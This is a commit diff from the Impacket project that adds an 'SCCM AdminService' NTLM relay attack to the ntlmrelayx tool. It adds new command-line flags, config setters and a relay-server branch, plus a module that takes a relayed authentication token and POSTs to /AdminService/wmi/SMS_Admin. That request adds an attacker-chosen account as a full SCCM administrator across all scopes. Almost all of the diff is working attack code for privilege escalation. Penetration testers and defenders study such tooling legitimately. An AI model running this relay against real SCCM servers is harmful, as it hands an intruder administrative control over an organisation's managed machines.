Skip to content

Commit 5b84666

Browse files
AdminService Attack
1 parent fdbd256 commit 5b84666

File tree

5 files changed

+108
-0
lines changed

5 files changed

+108
-0
lines changed

examples/ntlmrelayx.py

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -205,6 +205,7 @@ def start_servers(options, threads):
205205
options.cert_outfile_path)
206206

207207
c.setAltName(options.altname)
208+
c.setisADMINAttack(options.adminservice, options.logonname, options.displayname, options.objectsid)
208209

209210
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
210211
if server is HTTPRelayServer and options.r is not None:
@@ -390,6 +391,13 @@ def stop_servers(threads):
390391
help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')
391392
shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')
392393

394+
# Adminservice opions
395+
adminoptions = parser.add_argument_group("SCCM AdminService attack options")
396+
adminoptions.add_argument('--adminservice', action='store_true', required=False, help="Enable SCCM AdminService relay attack")
397+
adminoptions.add_argument('--logonname', action='store', required=False, help="Logon name of the account to be added as an admin")
398+
adminoptions.add_argument('--displayname', action='store', required=False, help="Display name name of the account to be added as an admin")
399+
adminoptions.add_argument('--objectsid', action='store', required=False, help="SID of the account to be added as an admin")
400+
393401
try:
394402
options = parser.parse_args()
395403
except Exception as e:

impacket/examples/ntlmrelayx/attacks/httpattack.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717

1818
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
1919
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
20+
from impacket.examples.ntlmrelayx.attacks.httpattacks.adminserviceattack import ADMINSERVICEAttack
2021

2122
PROTOCOL_ATTACK_CLASS = "HTTPAttack"
2223

@@ -34,6 +35,8 @@ def run(self):
3435

3536
if self.config.isADCSAttack:
3637
ADCSAttack._run(self)
38+
elif self.config.isADMINAttack:
39+
ADMINSERVICEAttack._run(self)
3740
else:
3841
# Default action: Dump requested page to file, named username-targetname.html
3942
# You can also request any page on the server via self.client.session,
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
# Impacket - Collection of Python classes for working with network protocols.
2+
#
3+
# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
4+
#
5+
# This software is provided under a slightly modified version
6+
# of the Apache Software License. See the accompanying LICENSE file
7+
# for more information.
8+
#
9+
# Description:
10+
# SCCM AdminService relay attack
11+
#
12+
# Authors:
13+
# Garrett Foster (@garrfoster)
14+
# Tw1sm (@Tw1sm)
15+
16+
from impacket import LOG
17+
from struct import unpack
18+
from impacket.spnego import SPNEGO_NegTokenResp
19+
import json
20+
import base64
21+
22+
23+
class ADMINSERVICEAttack:
24+
def _run(self):
25+
# slightly modfied sendAuth func from httprelayclient.py reused here due to negotiate auth,
26+
# requring all action to be performed in one shot
27+
if unpack('B', self.config.sccmAdminToken[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
28+
respToken2 = SPNEGO_NegTokenResp(self.config.sccmAdminToken)
29+
token = respToken2['ResponseToken']
30+
else:
31+
token = self.config.sccmAdminToken
32+
auth = base64.b64encode(token).decode("ascii")
33+
headers = {'Authorization':'%s %s' % ('Negotiate', auth),'Content-Type': 'application/json; odata=verbose'}
34+
35+
data = {
36+
"LogonName": self.config.logonname,
37+
"AdminSid": self.config.objectsid,
38+
"Permissions": [
39+
{
40+
"CategoryID": "SMS00ALL",
41+
"CategoryTypeID": 29,
42+
"RoleID":"SMS0001R",
43+
},
44+
{
45+
"CategoryID": "SMS00001",
46+
"CategoryTypeID": 1,
47+
"RoleID":"SMS0001R",
48+
},
49+
{
50+
"CategoryID": "SMS00004",
51+
"CategoryTypeID": 1,
52+
"RoleID":"SMS0001R",
53+
}
54+
],
55+
"DisplayName": self.config.displayname
56+
}
57+
58+
body = json.dumps(data)
59+
60+
LOG.info('Adding administrator via SCCM AdminService...')
61+
self.client.request("POST", '/AdminService/wmi/SMS_Admin', headers=headers, body=body)
62+
63+
res = self.client.getresponse()
64+
65+
if res.status == 201:
66+
LOG.info('Server returned code 201, attack successful')
67+
else:
68+
self.lastresult = res.read()
69+
LOG.info(f'Server returned code {res.status} - attack likely failed')
70+
LOG.info(self.lastresult.decode("utf-8").replace("'", '"'))

impacket/examples/ntlmrelayx/servers/httprelayserver.py

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -429,6 +429,17 @@ def do_relay(self, messageType, token, proxy, content = None):
429429

430430
target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc)
431431

432+
# when relaying to the SCCM AdminService to add a new administrator,
433+
# we need to break out of the normal relay auth flow and
434+
# perform the attack all in one shot
435+
if self.server.config.isADMINAttack:
436+
LOG.info("Exiting standard auth flow to add SCCM admin...")
437+
self.server.config.setSCCMAdminToken(token)
438+
LOG.info("HTTPD(%s): Authenticating against %s://%s as %s" % (self.server.server_address[1],
439+
self.target.scheme, self.target.netloc, self.authUser))
440+
self.do_attack()
441+
return
442+
432443
if not self.do_ntlm_auth(token, authenticateMessage):
433444
LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
434445
self.authUser))

impacket/examples/ntlmrelayx/utils/config.py

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -100,6 +100,13 @@ def __init__(self):
100100
self.ShadowCredentialsExportType = None
101101
self.ShadowCredentialsOutfilePath = None
102102

103+
# Admin service attack
104+
self.isADMINAttack = False
105+
self.sccmAdminToken = None # internal storage var; not a CLI flag option
106+
self.logonname = None
107+
self.displayname = None
108+
self.objectsid = None
109+
103110
def setSMBChallenge(self, value):
104111
self.SMBServerChallenge = value
105112

@@ -238,6 +245,15 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials
238245
def setAltName(self, altName):
239246
self.altName = altName
240247

248+
def setisADMINAttack(self, isADMINAttack, logonname, displayname, objectsid):
249+
self.isADMINAttack = isADMINAttack
250+
self.logonname = logonname
251+
self.displayname = displayname
252+
self.objectsid = objectsid
253+
254+
def setSCCMAdminToken(self, token):
255+
self.sccmAdminToken = token
256+
241257
def parse_listening_ports(value):
242258
ports = set()
243259
for entry in value.split(","):

0 commit comments

Comments
 (0)